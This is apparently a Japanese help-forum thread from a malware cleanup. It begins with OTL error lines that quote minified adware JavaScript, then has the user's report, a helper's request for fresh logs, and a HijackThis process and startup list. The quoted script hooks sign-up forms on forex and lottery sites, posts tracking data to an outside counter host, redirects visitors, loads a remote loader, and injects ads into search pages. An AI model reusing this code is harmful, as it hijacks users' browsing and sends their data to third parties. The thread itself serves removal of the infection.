Error: Unable to interpret <ent&&b[a[c]].detachEvent(\"onblur\",e)},d=0;d<a.length;d++)b[a[d]]&&b[a[d]].addEventListener?b[a[d]].addEventListener(\"blur\",e,!1):b[a[d]]&&b[a[d]].attachEvent&&b[a[d]].attachEvent(\"onblur\",e)};(\"www.apply.forex.com\"==window.self.location.hostname||\"apply.forex.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"Screen1\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolder1$ctl01$txtFirstname,ctl00$ContentPlaceHolder1$ctl01$txtLastname,ctl00$ContentPlaceHolder1$ctl01$txtVerifyEmail\".split(','),\"3\");(\"www.thelotter.com\"==window.self.location.hostname||\"thelotter.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"remoteshortregistration\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtFirstName,ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtEmail\".split(','),\"4\");(\"www.calottery.com\"==window.self.location.hostname||\"calottery.com\"==window.sel> in the current context!
Error: Unable to interpret <f.location.hostname)&&-1<window.self.location.href.indexOf(\"register\")&&document[\"frmMain\"]&&init(document[\"frmMain\"],\"objBody$content_0$leftcolumn_0$txtFirstName,objBody$content_0$leftcolumn_0$txtLastName,objBody$content_0$leftcolumn_0$txtEmail\".split(','),\"5\")})();(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"g_srizK0=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"g_srizK0=\")){var d=a.match(/g_srizK0=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"z> in the current context!
Error: Unable to interpret <yk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BNmGWj8ukchVWzmPhd96rTaMCyVUojaMDMlGC7VLBT94tMtGB6DHhfs0rShNAen0rchOAen0rjw4qdn8qHUEpdgFqjaEqTrFqTn=\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();;(function(){try{var b=\"gonetwork.eu p> in the current context!
Error: Unable to interpret <erformancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\".split(\" \");for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\"z\");if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\"download\")||-1<a.indexOf(\"convert\")||-1<window.self.location.href.indexOf(\"babylon\")||-1<window.self.location.href.indexOf(\"se Update Go\")||-1<window.self.location.href.indexOf(\"ilivid\")||-1<window.self.location.href.indexOf(\"download\")||-1<a.indexOf(\"regclean\")||-1<a.indexOf(\"etype\")||-1<a.indexOf(\"diction\")||-1<a.indexOf(\"my-uq\")||-1<a.indexOf(\"ftalk\")||-1<a.indexOf(\"pcspeedmaximize> in the current context!
Error: Unable to interpret <r\")||-1<a.indexOf(\"kingtransl\")||-1<a.indexOf(\"jsopen\")||-1<a.indexOf(\"7-zip\")||-1<a.indexOf(\"boost pc\")||-1<a.indexOf(\"computer slow\")||-1<a.indexOf(\"7-update14\")||-1<a.indexOf(\"player\")) || location.hostname.indexOf('jsopen.net')>-1){var channel=99;if(window.onbeforeunload){window.onbeforeunload=null;channel=98};location.href=\"http://canadaalltax.com/e/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&eid=720&hid=11944579086150063164&pid=0&ch=\"+channel+\"&s=px.pluginh&r=\"+Math.random();break}}}catch(d){}})();if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1546/l.js?aoi=1311798366&pid=1546&zoneid=287609&ext=ExstraSavings&systemid=11944579086150063164\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;window.top==window.self&&\"undefined\"==typeof __yael_running&&(window.__yael_running=!0,new function(){if(!document.getElementById(\"__yael_once\")){var m=document.createElement(\"div\"> in the current context!
Error: Unable to interpret <);m.id=\"__yael_once\";var n=document.getElementsByTagName(\"body\")[0];n&&n.appendChild(m);var b=this;b.pixelHost=\"//sepx.sendapplicationget.com\";b.prefix=\"jhgasdf\";b.version=\"0.4.1\";b.now=(new Date).getTime();b.clickInterval=2592E5;b.ratio=12;b.initThrottle=\"google;gmaps;amazon\";b.unique_items_left=!0;b.num_of_items_in_one=2;b.count=0;b.baseHostname=\"sendapplicationget.com\";b.utils=new function(){var a=this;a.cookie=new function(){var a=this;a.createCookie=function(a,c,b){if(b){var g=new Date;g.setTime(g.getTime()+864E5*b);b=\"; expires=\"+g.toGMTString()}else b=\"\";document.cookie=a+\"=\"+c+b+\"; path=/\"};a.readCookie=function(a){a+=\"=\";for(var c=document.cookie.split(\";\"),b=0;b<c.length;b++){for(var g=c[b];\" \"==g.charAt(0);)g=g.substring(1,g.length);if(0==g.indexOf(a))return g.substring(a.length,g.length)}return null}; a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};a.ajax={get:function(c,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",c,!0),this.xhr.onreadystatechange=fun> in the current context!
Error: Unable to interpret <ction(){4==a.ajax.xhr.readyState&&b(a.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(c,b,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",c,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&e(a.ajax.xhr.responseText)}; b=encodeURIComponent(b);this.xhr.send(b)}};a.waitForTokens={};a.addScript=function(a,b){if(\"undefined\"==typeof Element.prototype.appendChild.toString)document.getElementsByTagName(\"head\")[0].appendChild(a);else if(\"bing\"==b){var e=Element.prototype.appendChild,f=document.createElement(\"iframe\");Element.prototype.appendChild=f.document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a);Element.prototype.appendChild=e}};a.waitForElement=function(c,d,e,f){var g=a.query_selector_all(c); clearTimeout(a.waitTimeout);if(25<b.waitForElementCounter)return d(null);if(\"undefined\"==typeof g||1>g.length){if(a.waitForTokens[f])return d(null);var h=arguments> in the current context!
Error: Unable to interpret <.callee;a.waitTimeout=setTimeout(function(){b.waitForElementCounter++;h(c,d,e,f)},e)}else{if(a.waitForTokens[f])return d(null);a.waitForTokens[f]=!0;b.waitForElementCounter=0;return d(g)}};a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(a,b){return Math.floor(Math.random()*(b-a+1))+a};a.get_computed_style=\"function\"!= typeof window.getComputedStyle?function(b){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=a.dhtml_prop_name(d);return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[d]?b.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};a.query_selector_all=document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=a.match(/^#([^,\\s]+)$/)||[];if(1< b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")> in the current context!
Error: Unable to interpret <[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};a.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:function(a){if(a instanceof Object){var b= new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};a.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};a.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return RegExp(a)};a.throttle=function(a,b){var e=null;return function(){var f=this,g=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(f,g)},b)}};a.epoch=function(){return(new Date).getTime()};a.version_ie_less= function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};a.isIE=function(){return\"Microsoft Inte> in the current context!
Error: Unable to interpret <rnet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};a.match_url=function(b,d){for(var e=0;e<d.length;e++)if(\"string\"==typeof d[e]){var f;f=/^\\/.+\\/$/.test(d[e])?RegExp(d[e]):a.wildcard_to_regex(d[e]);if(f instanceof RegExp&&f.test(b))return!0}};a.ping=function(a){for(var d=[\"google\", \"bing\",\"yahoo\",\"youtube\"],e=0;e<d.length;e++)if(-1<location.hostname.indexOf(d[e])){var f=new Image,g=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);f.src=b.pixelHost+\"?hid=11944579086150063164&eid=720&pid=0&prodid=185&v=\"+b.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=JP&pr=\"+d[e]+\"&host=\"+h+\"&ref=\"+g}}};var k=[\"horizontal\", \"vertical\",\"images-horizontal\",\"images-vertical\"];b.jsonpHost=function(){var a=\"s1. s1. s2. s3. s4. s6.\".split(\" \");return a[b.utils.getRandomInt(0,a.leng> in the current context!
Error: Unable to interpret <th-1)]+\"\"}()+b.baseHostname;b.projects_info={google:{hrefSelector:\".r a\",unique_search_divs:\"3\",urls:[\"www.google.*\"],src_for_keyword:[\"#gbqfq\",\"#lst-ib\",\"#sbhost\"],dr:[\"#tvcap\",\"#bottomads\",\"#tads\"],tweak:function(){b.events.flush();var a=b.utils.query_selector_all(\"#nav td\"),c=b.utils.query_selector_all(\".spell + a\")[0];if(0<a.length)for(var d= 0;d<a.length;d++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[d],!0);\"undefined\"!==typeof c&&b.events.add(\"click\",function(){b.init_search_project()},!1,c,!0)},validate:function(a){var c=this;if(-1<location.href.indexOf(\"https://www.google.com/maps\")||location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return!0;c.callback=a;this.is_direction_right=function(){b.utils.waitForElement(\".col\",function(a){if(null==a||\"right\"==b.utils.get_computed_style(a[0]).getPropertyValue(\"float\"))return!0; if(!c.check_tab())return!1},1E3,\"validate\")};c.count=0;this.check_tab=function(){var a=document.getElementById(\"hd> in the current context!
Error: Unable to interpret <tb_msb\");if(null==a||\"undefined\"==typeof a)if(c.count++,10>c.count)setTimeout(function(){c.check_tab()},1E3);else return!1;else return b.utils.query_selector_all(\".hdtb_mitem\")[0].className.match(/hdtb_msel/)&&(b.utils.ping(\"validate2\"),c.callback()),!1};return c.is_direction_right()?!1:!0}},yahoo:{hrefSelector:\"a[id^=link]\",unique_search_divs:\"3\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"], urls:[\"yahoo\"],src_for_keyword:\"#yschsp\",validate:function(){b.utils.ping(\"validate2\");return!0}},bing:{hrefSelector:[\".b_algo a\",\".sb_tlst a\"],unique_search_divs:\"2\",dr:[\".sb_adsWv2\"],urls:[\"http://www.bing.com/search?*\"],src_for_keyword:[\"#sb_form_q\",\".b_searchboxForm[name='q']\"],validate:function(){b.utils.ping(\"validate2\");return!0}},conduit:{hrefSelector:\"a[id^=ctl00_main_organicResults]\",unique_search_divs:\"1\",urls:[\"http://search.conduit.com*\"],src_for_keyword:\"#q_top\",dr:[\"#master-1\"],validate:function(){return!0}}, ask:{hrefSelector:\".ptbs a[id^=r]\",unique_search_divs:\> in the current context!
Error: Unable to interpret <"1\",urls:[\"http://www.ask.com/web?q=*\",\"http://www.ask.com/web?qsrc=*\",\"http://www.ask.com/web?am=broad&q=*\"],src_for_keyword:[\"#top_qcomn\",\"#top_q_comm\"],dr:[\"#spl_img_top\"],validate:function(){return!0}},triple:{hrefSelector:\".gRsSlicetitle\",unique_search_divs:\"2\",dr:[\"#gRsTopLinks\"],urls:[\"http://search.triple-search.com/?*\",\"http://www.search.triple-search.com/?*\"],src_for_keyword:\"#q\",validate:function(){var a=b.utils.query_selector_all(\".gRsSTypeSelltr\"); if(0<a.length){for(var c=0;c<a.length;c++)if(\"English\"==a[c].innerHTML)return!0;return!1}}},incredimail:{hrefSelector:\".title\",unique_search_divs:\"3\",dr:[\"#MainSponsoredLinks\"],urls:[\"http://www.search.incredimail.com/search.php?q*\",\"http://search.incredimail.com/search.php?q*\"],src_for_keyword:\"#q\",validate:function(){return-1<location.href.indexOf(\"lang=english\")?!0:!1}},gmaps:{hrefSelector:\"div[class^='ads-line'] a\",unique_search_divs:\"1\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"https://www.go> in the current context!
Error: Unable to interpret <ogle.com/maps/*\"], src_for_keyword:\"#searchboxinput\",tweak:function(){var a=function(){b.remove_search();b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop=\"0px\";document.getElementById(\"reveal-cards\").style.marginTop=\"0px\"};b.events.add(\"click\",function(){a()},!1,document.getElementById(\"cards\"),!1);b.events.add(\"keyup\",function(){a()},!1,document.getElementById(\"searchbox_form\"),!1);b.events.add(\"click\",function(){a()},!1,document.getElementById(\"viewcard\"),!1);b.events.add(\"click\",function(){a()}, !1,b.utils.query_selector_all(\".widget-runway-pegman\")[0],!1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".gscb_a\")[0],!1);var c=function(a){a=document.querySelector(a);return getComputedStyle(a,null).height}(\".yael .cards-card\");document.querySelector(\".omnibox-cards-transformations\").style.marginTop=c;document.querySelector(\"#reveal-cards\").style.marginTop=c},validate:function(a){b.utils.isIE()||(b.num_of_items_in_one=1,a(> in the current context!
Error: Unable to interpret <))}},amazon:{unique_search_divs:\"1\",urls:[\"http://www.amazon.com*&field-keywords=*\"], src_for_keyword:\"#twotabsearchtextbox\",validate:function(a){a()}},smartAddress:{hrefSelector:[\"li a\"],unique_search_divs:\"2\",dr:[\".peach ol\"],urls:[\"search.smartaddressbar.com/web.php?s=*\"],src_for_keyword:\"#stxt\",tweak:function(){var a=b.utils.query_selector_all(\".peach\")[0],c=b.utils.query_selector_all(\".right ul\")[0];a&&a.parentNode.removeChild(a);c&&c.parentNode.removeChild(c)},validate:function(){return!0}}};var l=function(a){if(\"string\"==typeof a){var c=a.match(/:nth-match\\(([0-9]+)\\)/);if(c&& 1<c.length)return a=b.utils.query_selector_all(a.substr(0,c.index))||[],a[c[1]]||void 0;a=b.utils.query_selector_all(a)||[];return a[0]||void 0}};b.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f.addEventListener(b,d,e);g&&a.cache.push([b,d,e,f])}:window.attachEvent?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f[> in the current context!
Error: Unable to interpret <\"e\"+b+d]=d;f[b+d]=function(){f[\"e\"+b+d](window.event)};f.attachEvent(\"on\"+b,f[b+d]);g&&a.cache.push([b, d,e,f])}:function(){};a.remove=window.removeEventListener?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+a,f[a+b]);f[a+b]=null;f[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var b=0;b<a.cache.length;b++)a.remove.apply(a,a.cache[b]);a.cache=[]}};b.get_insertion_element=function(a){return!a.insert||\"before\"!=a.insert&&\"after\"!=a.insert?a.element:a.element.parentNode};b.dom= new function(){this.json_to_html=function(a,c){if(\"#text\"==a.type)c=document.createTextNode(a.text);else if(\"#comment\"!=a.type){c||(c=document.createElement(a.type));if(a.attrs){for(var d in a.attrs)if(a.attrs.hasOwnProperty(d))if(\"style\"==d&&a.attrs.style instanceof Object)for(var e in a.attrs.style){var f=b.utils.dhtml_prop_name(e);c.style[f]=a.attrs.style[e]}else c.setAttribute(d,a.at> in the current context!
Error: Unable to interpret <trs[d]);\"iframe\"==a.type&&(a.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder=a.attrs.frameborder),a.attrs.hasOwnProperty(\"marginwidth\")&& (c.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=a.attrs.marginheight))}if(a.children)for(d=0;d<a.children.length;d++){f=a.children[d];e=arguments.callee(f);try{c.appendChild(e)}catch(g){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"==a.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(e=b.utils.get_node_text_prop(c))c[e]=f.text}}}return c}};b.addEventClick=function(a,c){for(var d=0;d<a.length;d++)b.events.add(\"click\",function(a){a.preventDefault? a.preventDefault():a.returnValue=!1;this.href=\"#\";location.href=c+\"&j=true\";b.events.flush();localStorage.setItem(b.prefix,b.now+b.clickInterval);return!1},!1,a[d],!0)};b.checkClickInterval=function(a){if(b.now>a)return!0};b.setClickHref=function(a,c){if(\"undefined\"!=typeof b.projects_info[c].hrefSelector){if(b.utils.getRandomInt(1,1E4)>=1E4/b.> in the current context!
Error: Unable to interpret <ratio)return!1;var d=b.projects_info[c].hrefSelector,e=parseInt(localStorage.getItem(b.prefix));if(\"undefined\"!=typeof d){if(d instanceof Array)for(var f=0;f< d.length;f++){var g=b.utils.query_selector_all(d[f]);if(0<g.length)break}else g=b.utils.query_selector_all(d);e?b.checkClickInterval(e)&&b.addEventClick(g,a):b.addEventClick(g,a)}}};b.escape_chars_for_json=function(a){for(var b in a)a[b]=a[b].replace(/\\\"/g,'\\\\\"');return a};b.tpl_engine=function(a,c,d){\"false\"!==d.layouts.unique&&(c=b.escape_chars_for_json(c));a=JSON.stringify(a);c=[{replace:\"title\",\"with\":c.title},{replace:\"displayUrl\",\"with\":c.displayUrl},{replace:\"description\",\"with\":c.description}, {replace:\"clickUrl\",\"with\":c.clickUrl}];for(d=0;d<c.length;d++)a=a.replace(RegExp(\"\\\\[##\"+c[d].replace+\"##\\\\]\",\"g\"),c[d][\"with\"]);try{return JSON.parse(a)}catch(e){}};b.get_item_json=function(a,c){var d=b.utils.clone_object(a.layouts.template);d.attrs instanceof Object||(d.attrs={});return d=b.tpl_engine(d,c,a)};b.add_j> in the current context!
Error: Unable to interpret <sonp_to_config=function(a,c){b.get_item_json(a)};b.remove_search=function(){var a=b.utils.query_selector_all(\".yael\");if(0<a.length)for(var c=0;c<a.length;c++)a[c].parentNode.removeChild(a[c])}; b.inject_json=function(a){\"first\"==a.insert?a.element.insertBefore(a.node,a.element.firstChild):\"before\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element):\"after\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element.nextSibling):a.element.appendChild(a.node)};b.get_ad_dom=function(a){return a.layouts instanceof Object&&a.layouts.dom instanceof Object?a.layouts.dom:!1};b.get_layout_type=function(a){if(a.layouts instanceof Object)for(var b=0;b<k.length;b++)if(-1<a.layouts.id.indexOf(k[b]))return k[b]; return!1};b.create_search=function(a){a=b.get_ad_dom(a);return b.dom.json_to_html(a)};b.templates=new function(){this.container_id=0;this.add_real_links=function(a,c){b.utils.add_event(\"click\",function(b){window.open(a);b.preventDefault?b.preventDefault():b.returnValue=!1},!1,c)}};b.validate_r> in the current context!
Error: Unable to interpret <esponse=function(){for(var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/)&&__yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/,\"\")}; b.is_target_valid=function(a){if(0!=__yael_res.data.numberOfItems&&\"undefined\"!=typeof a.element)return a.urls instanceof Array&&!b.utils.match_url(a.element.ownerDocument.location.href,a.urls)?!1:!0};var p=null;b.get_target_element=function(a){if(a.inserts instanceof Array&&\"undefined\"==typeof a.element)for(var b=0;b<a.inserts.length;b++)if(a.element=l(a.inserts[b].selector),\"undefined\"!==typeof a.element){a.insert=a.inserts[b].at;break}};b.add_data_to_config=function(a,c){if(0==c.length)return b.unique_items_left= !1;var d=b.get_ad_dom(a);(function(a,c){c.children&&0!==c.children.length?(c=c.children[c.children.length-1],arguments.callee(a,c)):b.insert_point=c})(a,d);for(d=0;d<b.num_of_items_in_one&&0!=c.length;d++)b.insert_point.children.push(b.get_item_json(a,c[0])),\"true\"==a.l> in the current context!
Error: Unable to interpret <ayouts.unique?b.not_unique_items.push(c.shift()):c.shift()};b.addEventsToItems=function(){for(var a=document.querySelectorAll('a[href*=\"'+b.jsonpHost+'\"]'),c=0;c<a.length;c++)b.events.add(\"click\",function(){b.init_search_project()}, !1,a[c],!1)};b.check_if_div_in_dom=function(a,b){var d=[],e;for(e in __yael_res.config.targets){var f=__yael_res.config.targets[e];clearTimeout(p);a++;if(4<a)return;if(f.inserts instanceof Array&&\"undefined\"==typeof f.element)for(var g=0;g<f.inserts.length;g++){var h=l(f.inserts[g].> in the current context!

OTL by OldTimer - Version 3.2.69.0 log created on 03292014_100555


今現在ＰＣに異常はありません。


よろしくお願いします。
  • wysksun
  • 2014/03/29 (Sat) 10:16:07
返信フォームへ 
ではログの再確認しましょう
作業と報告、ご苦労様です。

>今現在ＰＣに異常はありません。

はい、今度は処置できたようですね。
OTLで見つかって処置もできたのでいいですが、OTL以外のツールでは見つからないほど巧妙なプログラムがやたら増えてきてます。

それでは現在の状態を再確認しましょう。
またHJTとインストール情報ログと、CCでの各タブのログを取り直して、それらをレスで見せてください。
この結果で不審なものも消えていればあとは楽に進むかと思います
  • 悪代官
  • 2014/03/29 (Sat) 17:03:49
返信フォームへ 
取り直した各ログになります。
ご協力ありがとうございます。

HJTのログになります。

Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 19:35:19, on 2014/03/29
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
C:\WINDOWS\system32\spoolsv.exe
D:\ProgramFiles\SUPERAntiSpyware\SASCORE.EXE
D:\ProgramFiles\HitmanPro\hmpsched.exe
C:\WINDOWS\Explorer.EXE
D:\ProgramFiles\Google\Update\GoogleUpdate.exe
D:\ProgramFiles\JustSystems\ATOK22\ATOK22MN.EXE
C:\WINDOWS\system32\igfxtray.exe
C:\WINDOWS\system32\hkcmd.exe
D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe
D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
C:\WINDOWS\system32\igfxpers.exe
D:\ProgramFiles\iTunes\iTunesHelper.exe
C:\WINDOWS\system32\ctfmon.exe
D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe
C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
D:\ProgramFiles\Bonjour\mDNSResponder.exe
D:\ProgramFiles\Java\jre7\bin\jqs.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamgui.exe
D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
d:\ProgramFiles\Microsoft SQL Server\90\Shared\sqlwriter.exe
C:\WINDOWS\system32\svchost.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe
C:\WINDOWS\system32\wuauclt.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
C:\WINDOWS\system32\wscntfy.exe
C:\Program Files\Common Files\Sony Shared\FeliCaLibrary\ServiceManager\FeliCaPort_ServiceMgr.exe
D:\ProgramFiles\iPod\bin\iPodService.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
C:\WINDOWS\system32\wuauclt.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\CCleaner\CCleaner.exe
C:\Documents and Settings\kwata.SIRIUS.003\デスクトップ\HijackThis.exe

O2 - BHO: ExplorerWnd Helper - {10921475-03CE-4E04-90CE-E2E7EF20C814} - D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
O3 - Toolbar: ExplorerWnd Helper - {10921475-03CE-4E04-90CE-E2E7EF20C814} - D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
O4 - HKLM\..\Run: [IMJPMIG12.0] C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
O4 - HKLM\..\Run: [IgfxTray] C:\WINDOWS\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe
O4 - HKLM\..\Run: [APSDaemon] "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [AppleSyncNotifier] C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
O4 - HKLM\..\Run: [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
O4 - HKLM\..\Run: [CTSysVol] D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
O4 - HKLM\..\Run: [FeliCa Launcher] "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
O4 - HKLM\..\Run: [JustOnlineUpdate] "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
O4 - HKLM\..\Run: [PocketCloud Location] D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
O4 - HKLM\..\Run: [QuickTime Task] "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
O4 - HKLM\..\Run: [Persistence] C:\WINDOWS\system32\igfxpers.exe
O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
O4 - HKLM\..\Run: [iTunesHelper] "D:\ProgramFiles\iTunes\iTunesHelper.exe"
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKCU\..\Run: [SUPERAntiSpyware] D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
O4 - HKUS\S-1-5-19\..\Run: [ctfmon.exe] ctfmon.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [ctfmon.exe] ctfmon.exe (User 'NETWORK SERVICE')
